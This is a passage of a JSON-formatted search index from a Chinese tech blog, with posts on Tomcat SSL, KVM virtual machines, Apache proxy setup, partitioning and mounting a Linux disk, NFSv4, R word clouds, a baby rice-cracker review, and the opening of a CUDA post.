/etc/apache2/sites-available/default-ssl：\n\u0026lt;Location /path/\u0026gt; ProxyPass ajp://localhost:8009/path/ \u0026lt;/Location\u0026gt; 其中的 path 就依照自己的情況替換，最後重新啟動 Apache：\nservice apache2 restart 大致上就是這樣。\n","permalink":"https://blog.gtwang.org/web-development/tomcat-ssl-https/","summary":"\u003cp\u003e記錄如何讓 Tomcat 支援 SSL 加密，因為工作太忙了，現在沒時間寫的那麼詳細，所以只記錄重點。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"tomcat-ssl-設定\"\u003eTomcat SSL 設定\u003c/h2\u003e\n\u003cp\u003e這是最直接的做法，首先產生 keysotre：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003ecd\u003c/span\u003e /usr/share/tomcat7\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekeytool -genkey -alias tomcat\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e再編輯 /etc/tomcat7/server.xml，開啟 SSL 功能：\u003c/p\u003e","title":"Tomcat 設定 SSL（HTTPS 加密）"},{"content":"本篇介紹如何使用 KVM 在 Linux 上建立虛擬機器，但是現在寫到一半，沒時間繼續寫，先放上來，以後再說。\n安裝 這裡以 Ubuntu Linux 10.04 為例，安裝 KVM。\n首先安裝 KVM 相關的基本套件：\nlibvirt-bin：提供 libvirtd，用來管理 qemu 與 kvm。 qemu-kvm：主要的虛擬引擎。 ubuntu-vm-builder：強大的虛擬機器製作工具。 bridge-utils：用來建立虛擬機器使用的 bridge。 用 apt 安裝：\nsudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils 另外亦可安裝 virt-viewer 用來觀看虛擬機器：\nsudo apt-get install virt-viewer 在安裝完成後，系統會自動將您的 username 加入 libvirtd 群組，在這個群組中的使用者才能夠使用 KVM，想要讓設定生效的話，您必須先登出後，再重新登入。另外，系統也會多新增一個 kvm 群組，不過一般的使用者不需要加入這個群組，所以不用管它。\n重新登入後，首先檢查安裝是否正確，執行：\nvirsh -c qemu:///system list 若是看到\nId Name State ---------------------------------- 就表示沒問題了，若是看到這樣：\nlibvir: Remote error : Permission denied error: failed to connect to the hypervisor 就表示安裝的過程有問題，請先檢查上面的安裝過程有沒有出錯，或是您忘記要登出後在重新登入。\n另外，檢查 sock 檔的權限：\nsudo ls -la /var/run/libvirt/libvirt-sock 應該要像這樣\nsrwxrwx--- 1 root libvirtd 0 2012-02-04 13:38 /var/run/libvirt/libvirt-sock 這樣就沒問題了。\n另外，若是使用 Ubuntu Desktop 版本，也可以再安裝圖形界面的管理程式：\nsudo apt-get install virt-manager 網路設定 接著設定 KVM 用的網路，一般來說網路的設定分為兩種：\nUsermode Networking：虛擬機器透過 NAT 的方式連上網路，這是預設的設定。 Bridged Networking：透過 bridge 方式連上網路，這樣外面的機器也可以直接連進這個虛擬機器，這樣就可以提供網路服務，例如架網站。 若使用 Usermode Networking，預設虛擬機器可以從 192.168.122.0/24 獲取 IP 位址，而真實機器的 IP 位址則是 192.168.122.1，若是要傳輸檔案則可以使用 scp 的方式互傳。若您想要使用 Usermode Networking 方式，就不需要任何額外的設定，直接跳過這裡。\nBridged Networking 方式可以透過實體的網路卡連上網路，讓外界的使用者可以接連進虛擬機器，這裡因為筆者用不到，所以暫時就不研究了。\n在這裡筆者希望將虛擬機器鎖在內部，只允許對內的連線，因此要將預設的網路設定稍微修改一下，首先看一下目前的設定：\nvirsh net-list 輸出為\nName State Autostart ----------------------------------------- default active yes 目前的網路設定預設是 default 這個設定，我們直接修改它就好了，首先把設定檔倒出來：\nvirsh net-dumpxml default \u0026gt; default.xml 這個內容應該像這樣：\n\u0026lt;network\u0026gt; \u0026lt;name\u0026gt;default\u0026lt;/name\u0026gt; \u0026lt;uuid\u0026gt;45f1405b-791a-06e4-d8e8-8bcfffc4c90f\u0026lt;/uuid\u0026gt; \u0026lt;forward mode=\u0026#39;nat\u0026#39;/\u0026gt; \u0026lt;bridge name=\u0026#39;virbr0\u0026#39; stp=\u0026#39;on\u0026#39; delay=\u0026#39;0\u0026#39; /\u0026gt; \u0026lt;ip address=\u0026#39;192.168.122.1\u0026#39; netmask=\u0026#39;255.255.255.0\u0026#39;\u0026gt; \u0026lt;dhcp\u0026gt; \u0026lt;range start=\u0026#39;192.168.122.2\u0026#39; end=\u0026#39;192.168.122.254\u0026#39; /\u0026gt; \u0026lt;/dhcp\u0026gt; \u0026lt;/ip\u0026gt; \u0026lt;/network\u0026gt; 其中預設的 \u0026lt;forward mode='nat'/\u0026gt; 是將網路設定為 NAT 模式，在這個模式下，虛擬機器上面的封包會自動透過 ip forward 連到外面，但這不是筆者需要的，所以就直接把這行拿掉，這樣這個虛擬機器就只能跟 host 連線而已。\n接著在將編輯好的設定餵回給 virsh：\nvirsh define default.xml 這樣就完成設定了。接著將這個 default 設定設為自動啓動，並啟動這個 default 設定：\nvirsh net-autostart default virsh net-start default 上面這樣把設定檔 dump 出來的修改方式其實可以用一個指令代替：\nvirsh net-edit default 不過這樣的編輯方式預設是使用 vi 編輯器，如果您不會 vi 又想要使用這樣的方式，也可以更改 EDITOR 環境變數來指定您慣用的編輯器。\n建立虛擬機器 要建立虛擬機器就使用 vmbuilder 這個工具就行了，他的選項很多，一開始可以先列出所有的選項看看有哪些東西可以用：\nvmbuilder kvm ubuntu --help 很多選項都是會因為個人的情況不同而要做調整，首先進到放置 image 的目錄：\ncd /var/lib/libvirt/images 然後建立虛擬機器：\nvmbuilder kvm ubuntu \\ --domain=kvm \\ --dest=vm01 \\ --arch=amd64 \\ --hostname=vm01 \\ --mem=8192 \\ --cpus=16 \\ --user=seal \\ --pass=my_pass \\ --ip=192.168.122.10 \\ --mask=255.255.255.0 \\ --net=192.168.122.0 \\ --bcast=192.168.122.255 \\ --gw=192.168.122.1 \\ --iso=/home/seal/LinuxISO/ubuntu-10.04.3-server-amd64.iso \\ --suite=lucid \\ --components=\u0026#39;main,universe,restricted\u0026#39; \\ --addpkg=acpid \\ --addpkg=vim \\ --addpkg=build-essential \\ --addpkg=openssh-server \\ --addpkg=avahi-daemon \\ --libvirt=qemu:///system 虛擬機器建立好之後，先查詢看看：\nvirsh \u0026#39;list --all\u0026#39; 這個指令會列出所有的虛擬機器，正常來說應該會出現像這樣的列表：\nId Name State ---------------------------------- 1 vm01 running 接著就是執行虛擬機器了：\nvirsh start vm01 這裡的 vm01 是指定要啓動的虛擬機器名稱（也就是上面的 Id Name），這樣 vm01 這台虛擬機器就已經「開機」了，接著若是要使用他的話，就用 SSH 連線進去，\nssh seal@192.168.122.10 帳號與密碼就是剛剛建立虛擬機器時所設定的 seal 與 my_pass（當然這個每個人要設成自己的帳號密碼）。\n大致上 KVM 就是這樣使用，virsh 這個指令有很多功能，可以用\nvirsh help 來看看他所有的功能，常用的應該就是上面的 list 與 shutdown。\n要將虛擬機器關機一般是用 SSH 進去下 shutdown 指令比較好，令一個做法是用 virsh 的 shutdown 指令：\nvirsh shutdown vm01 這個指令相當於按下一般機器的電源按鈕，當然比較不建議這樣關。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-kvm-vmbuilder-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 KVM 在 Linux 上建立虛擬機器，但是現在寫到一半，沒時間繼續寫，先放上來，以後再說。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝\"\u003e安裝\u003c/h2\u003e\n\u003cp\u003e這裡以 Ubuntu Linux 10.04 為例，安裝 KVM。\u003c/p\u003e\n\u003cp\u003e首先安裝 KVM 相關的基本套件：\u003c/p\u003e","title":"在 Ubuntu Linux 中使用 KVM（使用 vmbuilder）"},{"content":"Apache 伺服器有一個 proxy 模組，可以讓網頁伺服器同時擁有 proxy 或 gateway 的功能，使用這個模組就不需要在安裝另一個 proxy 伺服器了。\n這個功能分成好幾個模組，最基本的模組是 mod_proxy，其餘的依照其通訊協定分為 mod_proxy_http、mod_proxy_ftp、mod_proxy_ajp、mod_proxy_balancer 與 mod_proxy_connect，因此若是要使用其中一個或多個協定時，就先載入 mod_proxy 之後，在依照所需要的協定載入對應的模組，例如要使用 HTTP 網頁的 Proxy 就載入 mod_proxy_http 模組。\n另外，有一些 proxy 相關的功能可以利用 Apache 的其它模組來達成，像 Cache 的話就要使用 mod_cache 模組，而 SSL/TLS 加密傳輸的功能就使用 mod_ssl 模組中的 SSLProxy* 語法來設定。\nApache 的 proxy 功能可以分為 forward 與 reverse（gateway）兩種模式，以下介紹這兩種模式與其中的差異。\nForward Proxy 所謂的 forward 模式其實就是提供一般熟知的 proxy 功能，forward proxy 是一個仲介伺服器，在使用者（client）要與原始伺服器（origin server）互相傳遞資料時，它就夾在使用者端與原始伺服器之間幫忙遞送資料，當使用者要抓取原始伺服器的資料時，就送一個 request 至 forward proxy，並註明要原始伺服器的資料，這樣 forward proxy 就會幫忙抓取原始伺服器上的資料後，再傳回給使用者，而這種情況使用者必須自行設定好要使用的 forward proxy。\nforward proxy 通常用在封鎖在區域網路的使用者，透過 forward proxy 統一管制使用者所瀏覽的網站，或藉由 cache 功能，減低網路的流量負載。\n在 Apache 中若是要啟動 forward proxy 功能，可使用 ProxyRequests 語法，但由於 forward proxy 功能可以讓使用者自己決定瀏覽的網站，所以在開啓這個功能時，也要同時做好相關的安全性設定，只讓有經過認證的使用者使用。\n看個最簡單的 forward proxy 範例：\nProxyRequests On ProxyVia On \u0026lt;Proxy *\u0026gt; Order deny,allow Deny from all Allow from internal.example.com \u0026lt;/Proxy\u0026gt; 其實要開啓 forward proxy 的方式就只是把 ProxyRequests 開起而已，再加上權限設定，這裡是設定只有 internal.example.com 可以使用 proxy 功能。ProxyVia 則是開啓 Via 表頭功能，讓所有的 request 與 reply 都加上 Via 表頭。\nReverse Proxy reverse proxy 以使用者的角度來看，就跟一般的網頁伺服器沒有兩樣，使用者在使用時不需要任何設定，使用者把 reverse proxy 當作一般的網頁伺服器，依照一般正常的程序向 reverse proxy 送出 request，而 reverse proxy 會自己決定向哪一台原始伺服器抓取資料，最後再將抓取到的資料轉送回給使用者，對於使用者而言，reverse proxy 就好像一台普通的網頁伺服器一樣。\nreverse proxy 可以讓使用者使用躲在防火牆背後的伺服器，或是用於好幾台伺服器之間的負載平衡，另外也可以讓好幾台伺服器組合成一個單一的 URL 空間。\n若要啓動 Apache 的 reverse proxy 功能，可以使用 ProxyPass 語法，或是使用 RewriteRule 語法的 [p] 旗標。\n在使用 reverse proxy 時，不需要開啟 ProxyRequests 功能，這個功能若是不小心開啟，會有安全上的問題！所以要注意。\n看個最簡單的 reverse proxy 範例：\nProxyPass /foo http://foo.example.com/bar ProxyPassReverse /foo http://foo.example.com/bar 這樣 reverse proxy 收到 /foo 的 request，就會去抓取 http://foo.example.com/bar，再送回給使用者。\n參考資料 Apache ","permalink":"https://blog.gtwang.org/web-development/apache-proxy/","summary":"\u003cp\u003eApache 伺服器有一個 proxy 模組，可以讓網頁伺服器同時擁有 proxy 或 gateway 的功能，使用這個模組就不需要在安裝另一個 proxy 伺服器了。\u003c/p\u003e\n\u003cp\u003e這個功能分成好幾個模組，最基本的模組是 \u003ccode\u003emod_proxy\u003c/code\u003e，其餘的依照其通訊協定分為 \u003ccode\u003emod_proxy_http\u003c/code\u003e、\u003ccode\u003emod_proxy_ftp\u003c/code\u003e、\u003ccode\u003emod_proxy_ajp\u003c/code\u003e、\u003ccode\u003emod_proxy_balancer\u003c/code\u003e 與 \u003ccode\u003emod_proxy_connect\u003c/code\u003e，因此若是要使用其中一個或多個協定時，就先載入 \u003ccode\u003emod_proxy\u003c/code\u003e 之後，在依照所需要的協定載入對應的模組，例如要使用 HTTP 網頁的 Proxy 就載入 \u003ccode\u003emod_proxy_http\u003c/code\u003e 模組。\u003c/p\u003e","title":"Apache 設定 Proxy 功能"},{"content":"最近要替我的 Linux Server 增加一顆硬碟，一般若是在安裝 Linux 時就將硬碟裝上去的話，就可以直接在安裝時設定好硬碟的格式化與掛載，但若是後來要加掛新的硬碟，就要自己動手設定了。\n這裡示範在 Ubuntu Linux 下面新增加硬碟的做法，首先當然是買一顆新硬碟囉，現在的硬碟都漲價了，不過這顆剛好是還沒漲之前買的。\n接著把新的硬碟裝上去（有抽取盒好方便啊！），\n接下來，就可以直接開機進入系統了。\n由於 MBR 分割表不支援超過 2TB 的磁碟，如果您的硬碟大小超過 2TB，就無法使用 fdisk 分割硬碟，請改用 parted 以 GPT 的方式分割，教學請參考 Linux 的 Parted 指令教學。\n分割硬碟 新的硬碟應該是沒有任何分割的，所以要先用 fdisk 來分割硬碟，但是要分割新硬碟之前，要先搞清楚新的硬碟是哪一顆，弄錯可就慘了！先用 df 來看一下目前系統硬碟的使用情形：\ndf -h 這會顯示出目前硬碟的掛載狀況，輸出為\nFilesystem Size Used Avail Use% Mounted on /dev/sda1 440G 46G 372G 12% / none 5.9G 260K 5.9G 1% /dev none 5.9G 0 5.9G 0% /dev/shm none 5.9G 64K 5.9G 1% /var/run none 5.9G 0 5.9G 0% /var/lock none 5.9G 0 5.9G 0% /lib/init/rw /dev/sdb1 459G 198M 435G 1% /data1 而我門剛剛裝上去的新硬碟在這裡是看不到的，因為我們都還沒開始分割，接著在看看 /dev 下面所有的硬碟情況，\nls /dev/[sh]d* 輸出為\n/dev/sda /dev/sda1 /dev/sda2 /dev/sda5 /dev/sdb /dev/sdb1 /dev/sdc 這樣一比較就知道新的硬碟是 /dev/sdc 這顆，再用 fdisk 確認一下：\nfdisk -l /dev/sdc 輸出為\nDisk /dev/sdc: 2000.4 GB, 2000398934016 bytes 255 heads, 63 sectors/track, 243201 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x40bab849 Device Boot Start End Blocks Id System 看起來沒問題，沒有任何磁碟分割表的資訊，接著開始分割，首先進入 fdisk：\nfdisk /dev/sdc fdisk 是一個互動模式的分割工具，輸入 m 再按 Enter 可以顯示各種指令的說明：\nWARNING: DOS-compatible mode is deprecated. It\u0026#8217;s strongly recommended to switch off the mode (command \u0026#8216;c\u0026#8217;) and change display units to sectors (command \u0026#8216;u\u0026#8217;). Command (m for help): m Command action a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition l list known partition types m print this menu n add a new partition o create a new empty DOS partition table p print the partition table q quit without saving changes s create a new empty Sun disklabel t change a partition\u0026#8217;s system id u change display/entry units v verify the partition table w write table to disk and exit x extra functionality (experts only) Command (m for help): 首先我們要新增一個分割區，步驟如下：\n新增分割區，輸入 n 按 Enter。 選擇要建立 extended 還是 primary partition，因為我的硬碟全部只要一個分割區，所以我選 primary，輸入 p 按 Enter。 選擇 Partition number，primary 分割區最多可以有四個，隨便選都可以，不過建議選 1，免得以後看起來很奇怪，輸入 1 按 Enter。 輸入開始的 cylinder，用預設值就可以了，直接按 Enter。 輸入結束的 cylinder，若是要用最大的容量，就直接按 Enter，若是要指定分割區的大小，就用 +size{K,M,G} 的形式指定，例如指定為 100G 的大小就輸入 +100G 再按 Enter。 最後將分割表寫入硬碟，輸入 w 再按 Enter。 以上整個過程看起來就像這樣：\nCommand (m for help): n Command action e extended p primary partition (1-4) p Partition number (1-4): 1 First cylinder (1-243201, default 1): Using default value 1 Last cylinder, +cylinders or +size{K,M,G} (1-243201, default 243201): Using default value 243201 Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. 若是要離開 fdisk 就輸入 q 按 Enter 就可以了。\n接著再用 fdisk 確認分割區：\nfdisk -l /dev/sdc 輸出為\nDisk /dev/sdc: 2000.4 GB, 2000398934016 bytes 255 heads, 63 sectors/track, 243201 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x40bab849 Device Boot Start End Blocks Id System /dev/sdc1 1 243201 1953512001 83 Linux 最下面一行就是新的分割資訊，看起來沒什麼問題了，接著就要來格式化硬碟。\n格式化（Format）硬碟 現在新的 Linux 應該大都是用 Ext4 的檔案格式，若是較舊的 Linux 可能會用 Ext3，不過操作方法都大同小異。\nLinux 下格式化就用 mkfs 這個指令就可以了：\n# 格式化硬碟 mkfs -t ext4 /dev/sdc1 其中 -t 選項可以指定檔案系統，若是 Ext3 的話就指定為 -t ext3。等他跑完，硬碟的格式化就完成了，其輸出大約會像這樣：\nmke2fs 1.41.11 (14-Mar-2010) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 122101760 inodes, 488378000 blocks 24418900 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=4294967296 14905 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 102400000, 214990848 Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 32 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. 接著就剩下掛載（mount）硬碟的工作了。\n掛載（mount）硬碟 在 Linux 下面的磁碟掛載設定都是寫在 /etc/fstab 中，而傳統的寫法是使用 /dev/sda1 這樣的方式指定磁碟，但是若是當磁碟更換安裝的順序時，原本的 /dev/sda1 有可能就會變成 /dev/sdb1，有時候光是分清楚哪顆是哪顆就夠頭痛的了。\n現在新的方式都是使用 UUID 來指定磁碟的，所以 /etc/fstab 看起來會像這樣：\nproc /proc proc nodev,noexec,nosuid 0 0 UUID=684530e1-df5c-48d7-b3e4-eb0d47054877 / ext4 errors=remount-ro 0 1 UUID=35ddf35e-87de-4ab0-88d1-2a654d36b19a none swap sw 0 0 UUID=9746f325-1c82-4c04-b447-b5c596eea6c1 /data1 ext4 defaults 0 2 硬碟的 UUID 就像是它的身分證字號，每一顆硬碟都可不同的 UUID，使用 UUID 來指定磁碟就不會因為安裝的順序不同而產生變化，這樣做的好處是若是當磁碟常常要拔來拔去時，系統管理者不用再去更改 fstab 的設定，系統會自動尋找對應的 UUID 來掛載，很方便！\n以 Ubuntu Linux 為例，基本上在安裝好系統時，/etc/fstab 中預設就是使用 UUID 來指定磁碟，但是若要自己增加一顆新的硬碟時，要如何來指定 UUID 呢？其實很簡單，就是利用 blkid 這個指令，它可以列出所有磁碟的 UUID：\n# 列出所有磁碟的 UUID sudo blkid 輸出為\n/dev/sda1: UUID=\"684530e1-df5c-48d7-b3e4-eb0d47054877\" TYPE=\"ext4\" /dev/sda5: UUID=\"35ddf35e-87de-4ab0-88d1-2a654d36b19a\" TYPE=\"swap\" /dev/sdb1: UUID=\"9746f325-1c82-4c04-b447-b5c596eea6c1\" TYPE=\"ext4\" /dev/sdc1: UUID=\"146d3bb3-e351-45c8-ac84-42534ce51d29\" TYPE=\"ext4\" 所以現在就是依樣畫葫蘆，把新的硬碟資訊寫進 /etc/fstab 中，在 /etc/fstab 加入下面這行：\nUUID=146d3bb3-e351-45c8-ac84-42534ce51d29 /data2 ext4 defaults 0 這樣就大功告成了，下次重開機時，系統就會把新的硬碟掛載至 /data2，若要馬上測試掛載硬碟設定是否正確，可以使用 mount：\n# 掛載硬碟 mount /data2 再用 df -h 看一下，就知道有沒有問題了。\n使用 UUID 掛載硬碟，只要設定一次，以後就不用煩惱掛載的問題了，真方便！\n","permalink":"https://blog.gtwang.org/linux/linux-add-format-mount-harddisk/","summary":"\u003cp\u003e最近要替我的 Linux Server 增加一顆硬碟，一般若是在安裝 Linux 時就將硬碟裝上去的話，就可以直接在安裝時設定好硬碟的格式化與掛載，但若是後來要加掛新的硬碟，就要自己動手設定了。\u003c/p\u003e","title":"替 Linux 新增硬碟（磁碟分割、格式化與掛載）"},{"content":"NFSv4 就是 NFS 的第四版，他與上一代的 NFSv3 有些差異，若是沒有注意到他更動的地方，可能會被他搞得一頭霧水（筆者就是這樣），所以在這裡特別記錄一下，免得自己以後忘記，又要再重頭來研究一遍，Open Source 的東西就是更新很快，是很大的優點，也是很大的缺點，每隔沒多久就要學新的東西，累死老人家。\n這裡以 Ubuntu Linux 為例，示範如何安裝 NFSv4 的 Server 與 Client，並比較 NFSv4 與 NFSv3 的差異。\nNFS Server 首先安裝 NFS Server，在 apt 中有好幾個 nfs 相關的套件可以選擇，不過一般都是用 nfs-kernel-server，因為這個套件效能比較好：\nsudo apt-get install nfs-kernel-server 接著設定要 export 出去的資料夾，傳統的做法是直接在 /etc/exports 設定每一個要 export 的路徑就可以了，但是從 NFSv4 開始有些不一樣，所有被 export 出去的資料都會被整合進一個單一的檔案系統中，然後再一起 export 出去，我們直接看範例比較清楚。\n假設我們要 export /home/users 與 /usr/local/data 兩個資料夾，首先就是要將這兩個分開的資料夾以 bind 的方式綁在一個虛擬的檔案系統中，一開始先建立一個作為虛擬根目錄的目錄：\nmkdir /export 然後再將要 export 的目錄綁進來這個目錄中：\nmkdir /export/users mkdir /export/data mount --bind /home/users /export/users mount --bind /usr/local/data /export/data 這個設定在重新開機後，就會不見，建議直接寫進 /etc/fstab 中，一勞永逸，即在 /etc/fstab 中加入兩行：\n/home/users /export/users none bind 0 0 /usr/local/data /export/data none bind 0 0 這樣就會將 /home/users 與 /usr/local/data 兩個資料夾分別掛載至 /export/users 與 /exports/data，如以一來就建立一個虛擬的檔案系統。\n更改 /etc/default/nfs-kernel-server 設定檔，將 NEED_SVCGSSD 設為 no：\nNEED_SVCGSSD=no 更改 /etc/default/nfs-common 設定檔，將 NEED_IDMAPD 設為 yes，NEED_GSSD 設為 no：\nNEED_IDMAPD=yes NEED_GSSD=no 接著設定 /etc/exports：\n/export 192.168.1.0/24(rw,fsid=0,no_subtree_check,sync) /export/users 192.168.1.0/24(rw,nohide,insecure,no_subtree_check,sync) /export/data 192.168.1.0/24(rw,nohide,insecure,no_subtree_check,sync) 第一行是設定 /export 為根錄目（fsid=0 即是設定為根目錄的意思），另外將 /export/users 與 /export/data 也開放給 192.168.1.0/24 這個網域的所有機器。\n接著重新啓動 NFS Server 與 idmapd：\nsudo /etc/init.d/nfs-kernel-server restart sudo start idmapd # or... sudo service idmapd restart NFS Client NFS 的 Client 端要先安裝 nfs-common 套件：\nsudo apt-get install nfs-common 再設定 /etc/default/nfs-common，將 NEED_IDMAPD 設為 yes：\nNEED_IDMAPD=yes （重新）啟動 idmapd：\nsudo start idmapd # or... sudo service idmapd restart 接下來就可以掛載了，最簡單的方式就是直接將整個虛擬檔案系統掛上來，一次解決：\nsudo mount -t nfs4 -o proto=tcp,port=2049 nfs-server:/ /mnt 其中 nfs-server 要換成自己的 NFS Server 的 IP 位址（建議用 IP 位址）或是 hostname，而 /mnt 就是在 Client 上要掛載的位置，而這裡根 NFSv3 不一樣的地方在於指定 Server 上的目錄是根目錄（/），這個根目錄就會對應到 NFS Server 上 /etc/exports 設定為根目錄的位置，以這裡來說就是對應到 /export。\n若是測試沒問題，就可以寫入 /etc/fstab 了，在 /etc/fstab 加入：\nnfs-server:/ /mnt nfs4 _netdev,auto 0 0 參考資料 NFSv4Howto SettingUpNFSHowTo ","permalink":"https://blog.gtwang.org/linux/nfsv4/","summary":"\u003cp\u003eNFSv4 就是 NFS 的第四版，他與上一代的 NFSv3 有些差異，若是沒有注意到他更動的地方，可能會被他搞得一頭霧水（筆者就是這樣），所以在這裡特別記錄一下，免得自己以後忘記，又要再重頭來研究一遍，Open Source 的東西就是更新很快，是很大的優點，也是很大的缺點，每隔沒多久就要學新的東西，累死老人家。\u003c/p\u003e","title":"NFS v4 的安裝與使用方式"},{"content":"所謂的 Word Cloud（又稱 Tag Cloud 或 weighted list）是一個用來表示一群文字中每個字出現頻率多寡的方式，出現次數較多的字就會用較大的字型大小顯示，反之較少出現的字眼，就會用小型的字型表示，這樣的視覺化表示發法可以讓人一目了然哪些字是比較重要的關鍵字，這種表示法在許多部落格中也常常使用。\n要繪製 Word Cloud 有許多工具可以使用，以下介紹各種可以產生 Word Cloud 的免費工具。\n使用 R 繪製 Word Cloud 若要使用 R 來製作 Word Cloud，以下是一些 R 的範例：\nrequire(XML) require(tm) require(wordcloud) require(RColorBrewer) u = \u0026#34;http://cran.r-project.org/web/packages/available_packages_by_date.html\u0026#34; t = readHTMLTable(u)[[1]] ap.corpus \u0026lt;- Corpus(DataframeSource(data.frame(as.character(t[,3])))) ap.corpus \u0026lt;- tm_map(ap.corpus, removePunctuation) ap.corpus \u0026lt;- tm_map(ap.corpus, tolower) ap.corpus \u0026lt;- tm_map(ap.corpus, function(x) removeWords(x, stopwords(\u0026#34;english\u0026#34;))) ap.tdm \u0026lt;- TermDocumentMatrix(ap.corpus) ap.m \u0026lt;- as.matrix(ap.tdm) ap.v \u0026lt;- sort(rowSums(ap.m),decreasing=TRUE) ap.d \u0026lt;- data.frame(word = names(ap.v),freq=ap.v) table(ap.d$freq) pal2 \u0026lt;- brewer.pal(8,\u0026#34;Dark2\u0026#34;) png(\u0026#34;wordcloud_packages.png\u0026#34;, width=1280,height=800) wordcloud(ap.d$word,ap.d$freq, scale=c(8,.2),min.freq=3, max.words=Inf, random.order=FALSE, rot.per=.15, colors=pal2) dev.off() 這是畫出來的圖：\n接著再看另一個範例，這是拿 R 網站 上的 packages 敘述所製作成的 Word Cloud：\nrequire(XML) require(tm) require(wordcloud) require(RColorBrewer) u = \u0026#34;http://cran.r-project.org/web/packages/available_packages_by_date.html\u0026#34; t = readHTMLTable(u)[[1]] ap.corpus \u0026lt;- Corpus(DataframeSource(data.frame(as.character(t[,3])))) ap.corpus \u0026lt;- tm_map(ap.corpus, removePunctuation) ap.corpus \u0026lt;- tm_map(ap.corpus, tolower) ap.corpus \u0026lt;- tm_map(ap.corpus, function(x) removeWords(x, stopwords(\u0026#34;english\u0026#34;))) ap.tdm \u0026lt;- TermDocumentMatrix(ap.corpus) ap.m \u0026lt;- as.matrix(ap.tdm) ap.v \u0026lt;- sort(rowSums(ap.m),decreasing=TRUE) ap.d \u0026lt;- data.frame(word = names(ap.v),freq=ap.v) table(ap.d$freq) pal2 \u0026lt;- brewer.pal(8,\u0026#34;Dark2\u0026#34;) png(\u0026#34;wordcloud_packages.png\u0026#34;, width=1280,height=800) wordcloud(ap.d$word,ap.d$freq, scale=c(8,.2),min.freq=3, max.words=Inf, random.order=FALSE, rot.per=.15, colors=pal2) dev.off() 這是畫出來的圖：\n參考資料 Word Cloud in R ","permalink":"https://blog.gtwang.org/useful-tools/word-cloud-tools/","summary":"\u003cp\u003e所謂的 Word Cloud（又稱 Tag Cloud 或 weighted list）是一個用來表示一群文字中每個字出現頻率多寡的方式，出現次數較多的字就會用較大的字型大小顯示，反之較少出現的字眼，就會用小型的字型表示，這樣的視覺化表示發法可以讓人一目了然哪些字是比較重要的關鍵字，這種表示法在許多部落格中也常常使用。\u003c/p\u003e","title":"各種繪製 Word Cloud（Tag Cloud）的工具"},{"content":"一般的幼兒大約六個月大就可以吃一些米餅，但是一般市面上常常看到的米餅都做得不是很理想，最常見的問題就是餅乾烤的太燥熱或太焦，吃了之後小朋友容易火氣大，造成便秘，排便不順，另外一個缺點就是調味太重，跟大人吃的餅乾差不多，鈉含量過高的話，對還在發育的小朋友而言不是很好。\n逛了幾家藥妝店之後，感覺植英房做的幼兒米餅是做得最好的，吃起來不會太燥熱，味道也比一般的餅乾清淡，這樣對小朋友的腎臟不會造成多餘的負擔，吃過這家的米餅之後，我就再也不買其他家的米餅了。\n植英房的米餅除了原味之外，還有胡蘿蔔口味的，不過胡蘿蔔口味的有添加奶粉，我家的小朋友不喝牛奶，是吃全素的，所以我都是買原味的米餅。\n植英房的米餅好像只有丁丁藥局有在賣，若是想要買的人可以上網查一下丁丁藥局的門市，若是去一般的藥妝店恐怕是找不到的。\n植英房的米餅，適合出生後六個月的小朋友吃。\n米餅是米做的，所以吃素的人也可以吃。\n","permalink":"https://blog.gtwang.org/children/baby-rice-crackers/","summary":"\u003cp\u003e一般的幼兒大約六個月大就可以吃一些米餅，但是一般市面上常常看到的米餅都做得不是很理想，最常見的問題就是餅乾烤的太燥熱或太焦，吃了之後小朋友容易火氣大，造成便秘，排便不順，另外一個缺點就是調味太重，跟大人吃的餅乾差不多，鈉含量過高的話，對還在發育的小朋友而言不是很好。\u003c/p\u003e","title":"植英房幼兒米餅：嬰兒的健康零食"},{"content":"NVIDIA CUDA 技術是利用顯示卡的 GPU 進行高效能平行運算，通常有高階的顯示卡都會有安裝 X Window，但是若是專門用來計算的伺服器（server）就有可能不會安裝 X Window，像是 Ubuntu 的 Server 版本，預設就是不裝 X Window 